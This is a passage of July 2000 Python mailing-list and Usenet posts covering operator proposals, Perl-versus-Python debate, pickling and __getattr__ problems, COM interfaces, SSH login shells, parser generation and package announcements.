is fine, as the maximal-munch rule for lexing can resolve formal ambiguities
easily.  OTOH, *any* new operator symbol containing a backslash is dead
before arrival -- backslash has purely "meta" meanings in Python today.  If
the goal is to make Python look exactly like some other language, forget it.
It's still Python, with some light syntactic sugar to make life in special
domains sweeter.

+ This one is from me, but it's a safe bet you can view at as precognitive
channeling if you oppose it:  anyone suggesting to, e.g., make ".+" mean
something new and exciting for ints or floats or strings or ... will be
shot.  There are probably no operations on the builtin types used frequently
enough to merit new syntactic shorthands (excepting, perhaps, that if P3K
changes the meaning of integer division, a new "//" operator for flooring
division was looked upon kindly in the past).  The new operators are for
convenience in special domains (where the case for them is indeed very
strong), not an excuse to turn current Python into a cryptic mess.

+ Also from me:  forget about user-defined precedence and associativity.
The PEP must define these once & for all, and that's that.

+ The set of new operator symbols cannot be open-ended (as it is in, e.g.,
Haskell).  There are at least 4 variants of Python tranlators already in
existence, and Guido wants the set of operator symbols fixed so that a
variety of parsing techniques can be used in their natural forms without
trickery.  IOW, the full set of operator symbols must-- as it is today --be
a fixed finite set known in advance.

+ If the numerical folk can't reach consensus on the set of operators and
what they should mean, my bet is that Guido will let this die rather than
get sucked into Pronouncing on each of the points in dispute.  After all, he
has little personal use for this stuff:  if the people who *do* want it
can't agree, it's not worth having.

how's-that-for-a-mysterious-announcement<wink>?-ly y'rs  - tim





From aahz at netcom.com  Thu Jul 27 15:19:44 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 27 Jul 2000 19:19:44 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com>
Message-ID: <8lq20g$kt1$1@nntp9.atl.mindspring.net>

[posted & e-mailed]

In article <200007270038.TAA03951 at cj20424-a.reston1.va.home.com>,
Guido van Rossum  <guido at beopen.com> wrote:
>
>I've placed the slides of my talk at the O'Reilly Open Source
>Convention on-line at our BeOpen PythonLabs website:
>
>    http://www.pythonlabs.com/talks.html

It appears that the HTML version requires JavaScript.  That's a Bad Idea.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From collins at rush.aero.org  Thu Jul  6 21:39:17 2000
From: collins at rush.aero.org (collins at rush.aero.org)
Date: Thu, 6 Jul 2000 18:39:17 -0700
Subject: (no subject)
Message-ID: <200007070134.SAA31022@wd264.aero.org>

smenard at alis.com, tismer at tismer.com, jcw at equi4.com,
tseaver at starbase.neosoft.com,pbl at pbl.cx, m.ring at ndh.net, bwinton at iname.com, benpark at my-deja.com,thomas at xs4all.net, drek at zupa.bigstudios.com, senn at maya.com,burt at dfki.de, ulf.engstrom at b2b-link.com,calcium at altavista.net,tamer at tammura.at, karl at ulbrich.org,
ddevilliers at lando.co.za
Subject: [ANN] Python port to Palm Pilot


Announcing the alpha port of Python-1.5.2+ to the Palm Pilot,
available for download after 8AM PDT July7, 2000 at
http://www.isr.uci.edu/projects/sensos/python/.  This release includes 
the modified Python source and tools for creating Palm applications
from Python modules.  As a convenience, we include the gnu toolchain
required to support the Python distribution on the Palm Pilot.  
We emphasize that this is an alpha release and is deficient in many
respects.  We are releasing it now to stimulate interest in Python on
small computing platforms.  

Enjoy!











From alex at magenta.com  Thu Jul 27 08:39:10 2000
From: alex at magenta.com (Alex Martelli)
Date: Thu, 27 Jul 2000 14:39:10 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <8losor$4bk$1@nnrp1.deja.com>
Message-ID: <8lpand0gbg@news1.newsguy.com>

"Jonathan" <theebh at yahoo.com> wrote in message
news:8losor$4bk$1 at nnrp1.deja.com...
    [snip]
> god - the whole thing now looks like a mess! I don't think i will ever
> bother using PERL again (unless it's a 5-10 lines kind of thing).
> Python's syntax now seem much 'cleaner' and intuitive. But then i guess
    [snip]
> But the irony now is that ZOPE will be 'opened' to PERL too. I have
> read through the 'debates' going on in the zope mailing list, but it
> still doesn't make sense - why allow Zope to be polluted by something
> that is clearly deficient? It's like allowing people to use sand
> instead of cement to build a house. (I haven't mastered Zope yet, so i

I may share your opinion of Perl (and, apparently, the rough outline of
your history with it -- after using it a lot in the past, I'm never going to
go back to it now that I've found out about Python), but I disagree with
your assessment of letting people use Perl for Zope as a "pollution"
of Zope.  People get strongly attached to certain programming
languages for all sort of reasons, be they good or bad, and it's not
necessarily a framework developer's job to wean them away from
them; if a framework can reasonably be made to support language
X, and a framework designer's goal is to make the use of his own
framework more widespread, then X should be supported if it has a
significant "constituency", and can thus add to the framework's user
base.  And this is clearly the case here.

People using Perl for web-related tasks are really legions (no
matter that most of them hardly master over 50% of Perl's awesome,
intricate complexity -- pragmatically, you CAN get things done, even
if once in a while a flying brick [from some part of the language that
remains obscure to you] hits you smack in the forehead).  Maybe they'd
be best advised to switch to Python, maybe not (I think they would, but
that's quite another issue); but language-advocacy is not necessarily
the framework developers' goal.

I will piously hope that the *internals* of Zope remain in bright, clean
Python (or C where needed, e.g. for speed purposes), but if that is
so, then no "pollution" ensues if, over that Python-base, one is allowed
to build superstructure in Perl, Visual Basic, Tcl, JScript, or whatever
your least-favourite language happen to be.

Think of it as a competitive advantage you will have, using beautiful
Python over beautiful Zope, over the unwashed masses misguidedly
using whatever other language (and/or web-framework)...:-).


Alex





From moshez at math.huji.ac.il  Thu Jul 27 10:42:11 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Thu, 27 Jul 2000 17:42:11 +0300 (IDT)
Subject: Will NumPy ever be built into standard Python dist?
In-Reply-To: <39804498.B6182B66@wag.caltech.edu>
Message-ID: <Pine.GSO.4.10.10007271740470.4334-100000@sundial>

On Thu, 27 Jul 2000, Richard P. Muller wrote:

> Does anyone know whether there are plans to make NumPy part of the
> standard Python distribution?

I'm currently working on PEP 206, "Sumo interpreter", which is a souce
distribution with many useful modules. For more information, see
http://python.sourceforge.net/peps/

-- 
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From gjohnson at gs.verio.net.bbs  Mon Jul 17 20:10:01 2000
From: gjohnson at gs.verio.net.bbs (gjohnson at gs.verio.net.bbs)
Date: 18 Jul 2000 00:10:01 GMT
Subject: Internet Programming in Python
Message-ID: <3bRUCQ$jLX@openbazaar.net>

1996 M&t books..   The Python Annotated Archives is 4 years newer

"Stephen R. Figgins" wrote:
>
> Tony Johnson wrote:
> >
> > http://www.ora.com shuld carry this one...
>
> No, we didn't publish that one.  I forget who did.
>
> Stephen R. Figgins
> O'Reilly Network
> --
> http://www.python.org/mailman/listinfo/python-list


From thomas at cintra.no  Thu Jul 20 09:06:13 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Thu, 20 Jul 2000 13:06:13 GMT
Subject: Intercept methods/raise exception
References: <3978f242.25036009@news.online.no>
Message-ID: <3979f896.26656309@news.online.no>

On Thu, 20 Jul 2000 12:41:16 GMT, thomas at cintra.no (Thomas Weholt)
wrote:

>Hi,
>
>Is there a way to define a method in a class that is called each time
>every other method is called in that class, and based on a attribute,
>raise an exception or let the method-class go thru?
>
>If I could raise some exception each time an object was accessed no
>matter what, that would be great too, but I guess that`s stretching it
>a bit far.
>
>I need this to control a huge object that's manipulated in many ways,
>not always by it's own methods, sometime by altering attributes
>directly. If I could trap any change in an objects properties or use
>of its methods, that would be the best thing.
>
>Thanks.
>
>Thomas

Hi, me again.

I tried using __getattr__, like

def __getattr__(self, attrname):
   print 'Trace:', attrname
   return getattr(self, attrname)

But it crashed terribly. The object in question is accessed lots of
times. When I ran it, it printed :
Trace: __coerce__
Some hundred, thousands times, then collapsed with a bang.

Any ideas??

Thomas


From rhicks at rma.edu  Tue Jul 11 09:57:41 2000
From: rhicks at rma.edu (Robert)
Date: Tue, 11 Jul 2000 13:57:41 GMT
Subject: [HELP] GNOME-PYTHON
Message-ID: <pJFa5.246$RB1.31959@news>

Does anyone know how to create a tabbed document interface in GNOME-PYTHON?

Robert




From thomas at xs4all.net  Tue Jul  4 07:55:04 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 4 Jul 2000 13:55:04 +0200
Subject: Equivalent to ppm for Python?
In-Reply-To: <3961CD63.553F6D46@dulcesol.es>; from pablo.prieto@dulcesol.es on Tue, Jul 04, 2000 at 12:41:23PM +0100
References: <3961881d$0$20233@wodc7nh6.news.uu.net> <3961CD63.553F6D46@dulcesol.es>
Message-ID: <20000704135504.E283@xs4all.nl>

On Tue, Jul 04, 2000 at 12:41:23PM +0100, Pablo Prieto wrote:
> "donotspam-jen at personic.com" escribi?:

> > Is there anything like PPM for Python?  For those who don't know, PPM is the
> > Perl Package Manager
> > (http://www.activestate.com/Support/ActivePerl/PPM.html).  PPM is a utility
> > that will go out and download and install packages for you from the Internet
> > (at least on Win32 -- I assume it works elsewhere, too).

> Sorry. This is not a reply. Just a request for this question be answered
> since I'm interested in it too.

While it's not exactly what you mean (it doesn't (yet) go out and grab
packages for you), Distutils, which comes with Python 2.0, is probably what
you are looking for. See the Distutils SIG on www.python.org.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From grey at despair.rpglink.com  Fri Jul 28 21:47:04 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 01:47:04 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <20000728192952.A32288@exeter.exeter.org> <slrn8o4aid.7dm.grey@teleute.rpglink.com> <slrn8o4chq.1cq.hzhu@rocket.knowledgetrack.com>
Message-ID: <slrn8o4dol.7oa.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 01:20:13 GMT, Huaiyu Zhu <hzhu at users.sourceforge.net>
wrote:
>That's good, because None usually indicates there is nothing (not even a
>zero),

    It is different.  Good, to me, is not having to check when I know what is
going in there.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From robin at jessikat.fsnet.co.uk  Wed Jul 19 06:59:06 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Wed, 19 Jul 2000 11:59:06 +0100
Subject: CVS missing xmlparse.h
Message-ID: <yMet0XA6nYd5EwSD@jessikat.fsnet.co.uk>

pyexpat.c(18) : fatal error C1083: Cannot open include file:
'xmlparse.h'
-- 
Robin Becker


From claird at starbase.neosoft.com  Sun Jul 30 21:55:33 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 30 Jul 2000 20:55:33 -0500
Subject: Python license (was RE: Python plug-ins for Adobe Products available)
References: <LNBBLJKPBEHFEDALKOLCKEAHGNAA.tim_one@email.msn.com>
Message-ID: <6AF52BA0F6CB5412.B6BD1CBC48E4B721.8A4459A5D553A993@lp.airnews.net>

In article <LNBBLJKPBEHFEDALKOLCKEAHGNAA.tim_one at email.msn.com>,
Tim Peters <tim_one at email.msn.com> wrote:
			.
			.
			.
>the most competent enitity in the universe to address GPL issues.  And he's
>been a good friend to Python despite that it wasn't released under a GNU
>license.
			.
			.
			.
... also despite Python's status as not-LISP,
and therefore foreign to him.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From pehr at pehr.net  Wed Jul 12 02:15:28 2000
From: pehr at pehr.net (pehr anderson)
Date: Wed, 12 Jul 2000 06:15:28 GMT
Subject: Python and SSH
References: <8kf4gl$fqm$1@saltmine.radix.net>
Message-ID: <396BC629.E2706D3D@pehr.net>

I'm guessing you want somebody to ssh to your box, and instead of 
their normal bash shell,
they see your python app instead. 
This is easily doable by creating a new user
and setting it's shell to be the name of your
python app in /etc/passwd.

If you look at /etc/passwd you will notice that
most accounts have /bin/bash as the last argument.
Just change that to be an absolute path to your
python script! You move from this:


ssh -- client
 |
BIG BAD INTERNET
 |
sshd -- daemon
 |
bash -- user shell to do general stuff


to this:


ssh -- client
 |
BIG BAD INTERNET
 |
sshd -- daemon
 |
your app as the user's default shell.


Does this help?

	-pehr

Cary O'Brien wrote:
> 
> I'd like to have a running python process ACCEPT an incoming SSH
> connection.  Any ideas on how I could do this?
> 
> -- cary


From cpaulicka at 8cs.com  Tue Jul 25 22:55:15 2000
From: cpaulicka at 8cs.com (Christopher Paulicka)
Date: Tue, 25 Jul 2000 19:55:15 -0700
Subject: Two COM Questions:  QueryInterface, and Callback Inheritance
References: <3pnf5.50267$DH3.1583089@news-east.usenetserver.com> <Zpqf5.12049$4p3.93208@news-server.bigpond.net.au>
Message-ID: <Bosf5.51489$DH3.1693859@news-east.usenetserver.com>

 > How to QueryInterface for a new dispatch interface?
>
> You just perform the QI - but on the "_oleobj_" object.  ie:
>
> > >>>    import win32com.client
> > >>>    d = Dispatch("MyCoolThing.App")
> > >>>    s = d.GetOtherThing()
>
> You need to do something like:
> >>> s = d.GetOtherThing()
> >>> other_s = s._oleobj_.QueryInterface("{new_iid}")
> >>> s = Dispatch(other_s) # Turn it back into a useful object.
>

Well, that seems straightforward.  But, I get the following error message:
 >>> other_s = s._oleobj_.QueryInterface("{new_iid}")
TypeError: There is no interface object registered that supports this IID

# If I get the type of s, and try to use it's CLSID, that doesn't work.

>>>  print s
<win32com.gen_py.DirectAnimation Library.IDAGeometry>

>>> other_s =
s._oleobj_.QueryInterface(DirectAnimationModule.IDAGeometry.CLSID)

# Maybe EnsureModule hasn't registered this IID?
# I try manually adding the CLSID directly
>>> other_s =
s._oleobj_.QueryInterface('{EB5093C7-56F9-11D2-88CE-00C04FA35859}')

# That doesn't work either.
# However, if I change the method (from above)
>>>    s = d.GetOtherThing()

# So I rewrote GetOtherThing() directly in the makepy generated file
# and put the ID in place

 def GetOtherThing(self, Duration=defaultNamedNotOptArg):
  ret = self._oleobj_.InvokeTypes(0x60020009, LCID, 1, (9, 0), ((5,
1),),Duration)
  if ret is not None: ret = win32com.client.Dispatch(ret, 'Duration',
'{EB5093C7-56F9-11D2-88CE-00C04FA35859}', UnicodeToString=1)
  return ret

# Now it works fine!
# So, what can I do?  It seems inelegant to have to change all of the
automatically generated # methods, and wrong, since I am upcasting in
effect.





From seanmcgrath at my-deja.com  Sun Jul  2 11:45:58 2000
From: seanmcgrath at my-deja.com (seanmcgrath at my-deja.com)
Date: Sun, 02 Jul 2000 15:45:58 GMT
Subject: __getattr__ and pickle
References: <395f26a4.1832855@news.iol.ie> <395f2748.1996610@news.iol.ie> <395f27ab.2095753@news.iol.ie> <8F655BA3Egmcmhypernetcom@199.171.54.154>
Message-ID: <8jno3n$p6m$1@nnrp2.deja.com>

At 09:07 02/07/00 -0400, Gordon McMillan wrote:
>
>Do you have a __getinitargs__ or __getstate__ or
__setstate__ that might be
>triggering a call to __getattr__?
>

I don't have calls to __getinitargs__,
__getstate__ or __setstate__.

What I do have is a __getattr__ which I suspect is
involved in this:-)

The patient is pyxie.py
(http://www.digitome.com/pyxie.py).
The object I am trying to pickle is a tree
structure.
A variable CurPos points to a sub-ordinate object
which can be of type xElement or xData.

The __getattr__ hook achieves a Delphi-like effect
in which attributes of these sub-ordinate objects
appear as attributes of the top level object.

It seemed like a good idea at the time:-)

Here is a test program that reproduces the
problem:-

from pyxie import *
try:
	import cPickle
	pickle = cPickle
except ImportError:
	import pickle

t = xTree()

s = pickle.dumps (t)
<!-- This works fine -->
print s
<!-- Boom!!! -->
t1 = pickle.loads(s)


When I try and pickle using the Python
implementation of pickle,
I get an exception:
	No attribute '__getstate__' on xTree or
current xNode.

I don't follow this as I thought __getstate__ was
for fine
tuning the information to be pickled.

Using cPickle I don't get an exception at save
time but
instead get a GPF at load time.


BTW, I have a test version of Pyxie with the
__getattr__
stuff taken out and it pickled just fine. Picked
versions
of parsed XML trees load really quickly with it.

What I am implementing is analagous to
Pythons .py/.pyc
idea. When Pyxie loads a tree it loads the binary
version unless the plain text version has been
modified more recently. When saving, it saves
both binary and plain text XML every time.
Works great!

>Does an Irishman like to talk?
>
Only on days that end in a "y":-)


regards,



Sent via Deja.com http://www.deja.com/
Before you buy.


From alex at magenta.com  Fri Jul 28 17:09:56 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 23:09:56 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com>
Message-ID: <8lst4r02grr@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o3jap.49c.grey at teleute.rpglink.com...
    [snip]
> >But, back to %members...:
> >Why organize it like that, rather than just index it directly with a
> >(name,number) pair?  Presumably, because Perl cannot use a pair as an
index,
> >but wants a scalar?  But that's no problem in Python, so (guessing at
your
> >snipped parts):
>
>     Exactly.  Actually I normally use something like $name."|".$index for
a
> later split().

I hope you remember that in Python there's no need for the joining
and later re-splitting: just putting the pair (tuple) in there is
so much easier and more natural.

> >a single string, but the % operator has the advantage of being
> >easily tailorable
>
>    I never did like the whole placeholder for actual values in print
> statements or other similar constructs.  I fail to see why one must do
that
> instead of putting what you want there.

Among other things, it makes it easy to save/load/change a format-string;
you are encoding that much information as easily-handled data, rather
than as harder-to-handle executable code.  It's also easier to ensure that
the same, identical format-string is used in various places: just use a
variable to identify it.  If/when it changes, it's changed in ONE place;
this is the kind of thing that's harder to do with code.  (You could do
it by moving the formatting into a function, but then what's the
advantage of myformat(name,index) over myformat%(name,index)...?-).

It's a long-running querelle in C++, which suggests a style like
    std::cout << a << b << c;
in place of C's classical printf (format-string-based) approach.

A format-string does have the disadvantage of encoding the type
information _away_ from the object (which you may not think of as
a disadvantage, but most people do:-).  However, in Python this
may not be a problem, since the % operator is defined to call the
string-conversion for the items in the right-hand operand that
correspond to a %s on the left; so, the object can get control
if it wants to, by overriding the convert-to-string special method.

There's nothing stopping a C++ programmer from defining a similar
formatting operator, of course, but it doesn't seem to be happening
much that I can see.


But this is all about occasions in which the formatting really
matters -- when it must match an externally imposed standard,
or it must be displayed to the end-user.  Such formats tend to
be subject to frequent, finicky changes, so having them as
easily changed strings is particularly nice.  When no such
constraint obtains, Python generally permits you to just use
the tuple -- guaranteeing no data loss, maximum simplicity,
directness.  You just don't have to put strings together, to
split them up again later, as much as is usual in Perl (it
was _mandatory_ in Perl 4, which had no rich data structures;
it's still _popular_ in Perl 5, for various reasons).


[about warts]
>     I'm not saying it is the same.  I am just refuting claims that Python
> doesn't have then and that they are, senseless, wretched, horrible or any
> other negative description people care to place on it.  It is different
and as
> someone (you, mayhap?) said that even typing isn't good in all cases.

I'm not quite sure what you're saying, but there's a well-known
URL out there (which I forget, but hope someone else will remind
us of:-), of a well-known Pythonista, collecting Python's warts.
It's good to keep aware of them, particularly in a language that
makes so many of us so enthusiastic, or how will they ever be fixed?
The types-vs-classes dychotomy is mentioned there, maybe that is
what you are thinking of, but it's really a piece of exoterica
which practically strikes very few people.

I doubt you'll find much concurrence that automatic conversion
of strings to numbers in the context of arithmetic is anything
but a <very-negative-description-snipped>.  I've already listed
several reasons (such as the multiplication of operators and
other linenoise this approach implies -- by forcing operators to
determine context, you need separate operators for concatenation
and replication, versus those for addition and multiplication;
by letting type determine context, Python needs far fewer).  Many
more have been listed by others.

You're unconvinced, but I guess that's okay.  But I can't think
of even one area where Perl, as a language, has any advantage at
all over Python (there may be areas not connected to language
design, such as the quality of available books, which are harder
to call).  Why else would I have been so happy, so utterly happy,
to leave 8 years of Perl experience behind and start over from
scratch with Python?

It may have to do with the way my mind (and that of other ardent
Pythonistas) clicks, versus the mental processes of equally
ardent Perlites.  Python never surprises me; when I don't know
for a fact how something works, and I guess rather than looking
it up, I get it right 90%.  Perl, even after many years, kept
coming up with surprises for me.  I think Python is objectively
simpler: fewer keywords, fewer builtins, no weirdly named
variables with similarly weird effects, etc, etc.  And if you've
ever looked at the C sources of Python versus those of Perl, I
think you'll find just as much difference in complexity.  Very
similar absolute-power, very different complexity-levels to
achieve that power.

But that simplicity be a _virtue_, post-modern redundance a
_vice_, is an aesthetic judgment whose practical value will
no doubt depend on the way each individual's mental processes
work -- and there's a lot of variation in that (thanks be!).

Just as I consider C++'s complexity a vice (but still use it
a lot, because I've found no other technology _dominating_
it, i.e., better for _all_ purposes; and also, _that_ is a
complexity which I managed to absorb at well over 90%, not
fully satisfactorily to me, but easily in the top centile,
and enough for much effectiveness -- _Perl's_ complexity
seems of a different kind...), so I do Perl's.  But I
acknowlegde that they're two languages with an extremely
wide user-base, so, assuming other people have made totally
rational and informed judgments and evaluations (perhaps a
rash assumption; one year ago, for example, I had never
evaluated Python...), there must be many minds for which
such complexity works a charm...


Alex





From MichaelDyck at home.com  Sat Jul 22 02:32:33 2000
From: MichaelDyck at home.com (Michael Dyck)
Date: Sat, 22 Jul 2000 06:32:33 GMT
Subject: Parser project
References: <397361C5.1D401DF2@prescod.net>
Message-ID: <39793FE7.D2C12A32@home.com>

Paul Prescod wrote:
> 
> Here is a project for a parser hacker:
> 
> Write a Python module that can read a grammar in the syntax that Python
> uses (see Grammar/Grammar in the source distribution) and generate a
> parser object without any special compilation stage:

This itself would not be too difficult, but I'm not sure it would be as
helpful as you think.

> from newparser import Parser
> 
> parser=Parser( grammar="/python/src/Grammar/Grammar" )
> parsetree=parser.parse( sys.argv[1] )
> code=compileast( parsetree )
> eval( code )
>
> With this tool, people could easily write Python-like languages in
> Python by making changes to the grammar. This would be great for those
> who want to experiment with new language features without building (and
> distributing) a special version of Python. Let's say you invented a
> Python-like language for matrices. You would tell people to install
> Python and then invoke your code like this:
> 
> python matrixLang.py helloworld.mtrx

So matrixLang.py would look like the above code, but with
"/python/src/Grammar/Grammar" replaced with the name of a file containing
the MatrixLang grammar, yes? So `parsetree' would be a parse-tree for the
content of helloworld.mtrx. The problem is that it would be a parse-tree
corresponding to the *MatrixLang* grammar (e.g., it might contain
MatrixLiteral nodes, and TransposeOperator nodes). And you can't give such
a parse-tree to compileast (or actually, to sequence2ast or tuple2ast,
whose result you would then pass to compileast): it wouldn't know anything
about such nodes.  Instead, you need another step that transforms
`parsetree' into a parse-tree that's acceptable to sequence2ast/tuple2ast.
In the example, this would have to transform MatrixLiteral and
TransposeOperator nodes into the equivalent standard-Python constructs.

Well, I guess that wouldn't be too difficult either (and maybe you had
this in mind anyway and glossed over it as the "easy" part), but it's
something that would have to be written on a per-language-invention basis,
as opposed to the run-time parser-constructor, which need only be written
once.

> ... It's not
> that doing this is impossible today, it just isn't as easy as it would
> be if there were a module that could parse things at runtime and was
> compatible with Python's grammar syntax.

Yes, I suppose it would be easier. Now if only I had some time to do some
parser hacking...

-Michael Dyck
 MichaelDyck at home.com


From vtbl.moorepe at memo.volvo.se  Fri Jul 14 11:51:26 2000
From: vtbl.moorepe at memo.volvo.se (PM)
Date: Fri, 14 Jul 2000 15:51:26 +0000
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <396EE7BC.DA2FA7B3@darwin.in-berlin.de> <8kmtab$4or$1@pollux.ip-plus.net> <396F131C.4AD83C8A@memo.volvo.se> <slrn8muakn.uv6.hat@se-46.wpa.wtb.tue.nl>
Message-ID: <396F36C4.D7795CEC@memo.volvo.se>

Sorry, I believe the 2 are unrelated. I was feeling a little sardonic as
usual, I will show more restraint next time :)
Albert Hofkamp wrote:
> 
> On Fri, 14 Jul 2000 13:19:00 +0000, PM <vtbl.moorepe at memo.volvo.se> wrote:
> >I should like it to kick c#'s butt, perhaps
> 
> People who fall for that trap don't deserve to be rescued.
> 
> Albert
> ---
> Look ma, windows without Windows !!


From akuchlin at mems-exchange.org  Sat Jul 22 09:36:40 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 22 Jul 2000 09:36:40 -0400
Subject: PyPGP?
References: <39751C1A.5F476774@mastnet.net>
Message-ID: <3dn1jaxp5j.fsf@kronos.cnri.reston.va.us>

John Clonts <jclonts at mastnet.net> writes:
> Is this a current effort?  

No, it's dead, and was written in the days of PGP 2.6.2.  The file
format has changed subsequently, so the code would need to be updated
to match the latest OpenPGP RFC.

> Is there some other or better source for PGP encrypt/decrypt services
> for Python?

It's probably best to use GnuPG with its --batch flag, which causes it
to output lines which can be readily parsed by another program.  I
have a partially written class for GnuPG that supports verifying, but
I still need to finish the other 3 functions.  

--amk


From pngann at hare.demon.co.uk  Fri Jul 21 11:32:52 2000
From: pngann at hare.demon.co.uk (Les Smithson)
Date: 21 Jul 2000 16:32:52 +0100
Subject: ANN: Pyxal - Python Home Automation X10 driver
Message-ID: <m3aefbxzvf.fsf@hare.demon.co.uk>

I'd like to announce pyxal, a new Python language interface for Home
Automation X10 controllers.

Details are at http://www.hare.demon.co.uk/pyxal.html.

Pyxal presents a device independent, OS neutral, extensible API for
controlling X10 devices. It is written 100% in Python, and needs no
external 'C' extensions.

Pyxal allows Python scripts to control home appliances connected using
X10 devices & controllers. Pyxal can be used with any supported X10
controller on any supported platform. Pyxal scripts can be used
without modification with any supported X10 controller.

Pyxal needs volunteers for X10 controller development, &
porting/testing. If you would like to help, see
http://sourceforge.net/projects/pyxal.


From lull at acm.org  Sun Jul 23 11:00:26 2000
From: lull at acm.org (John Lull)
Date: 23 Jul 2000 10:00:26 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com> <39774EFA.62287E6E@nih.gov> <ueefns037mjarv63dqpbh52mmr1k6vvaop@4ax.com> <%_Rd5.36763$6y5.24594893@news2.rdc2.tx.home.com> <50ggnss2rhdf2uh3pe6m4o1slib9d6fvko@4ax.com> <slrn8nhp2g.qn.hzhu@rocket.knowledgetrack.com>
Message-ID: <ps1mns0jj1m5eoh7at708igsqrgmua6302@4ax.com>

(posted & mailed)

hzhu at knowledgetrack.com (Huaiyu Zhu) wrote (with possible deletions):

> Would someone like to make a brief summary of the thread on (*) type
> operators?  I did not follow all of them, and can't seem to be able to
> figure out what the consensus is now.  Whether this goes into the PEP, it
> would be nice to have a summary of the discussion so far.  Thanks.

I think Tim Hochberg's summary in message
<m2wvifm2bd.fsf at spiff.home.com> is pretty good.

> John, would you volunteer?

If you think something more is needed, I'm willing to try, but I'm not
sure what else is needed.

Regards,
John


From tim.hochberg at ieee.org  Thu Jul 27 11:07:27 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Thu, 27 Jul 2000 15:07:27 GMT
Subject: linear algebra in pure Python?
References: <397E9CBC.2AD8FA89@crystal.uwa.edu.au> <m2u2ddrmsi.fsf@spiff.home.com> <397F9D1B.F6DA7037@crystal.uwa.edu.au>
Message-ID: <m2n1j3ek7w.fsf@spiff.home.com>

Douglas du Boulay <ddb at crystal.uwa.edu.au> writes:

> Tim Hochberg wrote:

> > package. Another option would be to use JNumeric which is a (more or
> > less) drop in replacement for Numeric for use with JPython. The
> > LinearAlgebra package has not, unfortunately, been ported(1), but if
> 
> Thanks, Yes I have already looked at JNumeric. I actually spent a week
> or so
> modifying the PyMultiarray to accept Measurement (value,variance) pairs 
> and propogate them through multiplication addition etc, only to find out
> that the matrix vector arithmetic I was doing (predominantly 3x3 or 4x4)
> took from 10 to 30 times longer than the original pure-python based 
> matrix class (exploiting lists of lists) which I was using. 
> Needless to say I was disapointed. I am sure it would be terrific 
> as the matrices get larger, but I don't need that at the moment. 
> 
> I suspect the big killer was the very repetitious type coercions
> involved,
> which require construction of many temporary matrices 
> (and which I don't have any control over).

I'd be interested in seeing an example of the code that was running
slow for you. It may provide ideas / motivation for speeding up some
aspect of JNumeric. 

> On the topic of JNumeric, are you interested in a wedge/cross
> product and Levi-Cevita antisymmetric tensor function add on for
> PyMultiarray, or would that blow the equivalence with Numeric?

I'd also be interested in seeing this code. I'm not sure if I'd role
it in right now since if NumPy2 becomes a reality, I may be changing
JNumeric dramatically so that I can take advantage of the Python code
that will be written for that.

-tim


From moshez at math.huji.ac.il  Tue Jul 18 03:41:45 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Tue, 18 Jul 2000 10:41:45 +0300 (IDT)
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators
 for  matrix computation)
In-Reply-To: <slrn8n7af7.2jc.hzhu@rocket.knowledgetrack.com>
Message-ID: <Pine.GSO.4.10.10007181039370.11187-100000@sundial>

On Tue, 18 Jul 2000, Huaiyu Zhu wrote:

> On Mon, 17 Jul 2000 18:11:13 -0500, Paul Prescod <paul at prescod.net> wrote:
> 
> >  There are even techniques for making your
> >language work on the interpreter line. We can help with that.
> 
> Where is this?  Is it also included in the references you mentioned? I don't
> have time or expertise to examine these, but someone else might.

No, we really meant that we'll help yo. Have a look at the way IDLE
emulates the Python interpreter -- you can easily see how to run your own
compile() function rather then the built-in one. About .mpy modules: check
out the CVS's imputils. About custom compilation: check out
nondist/compiler for a compiler written in Python you can easily change.

--
Moshe Zadka <moshez at math.huji.ac.il>
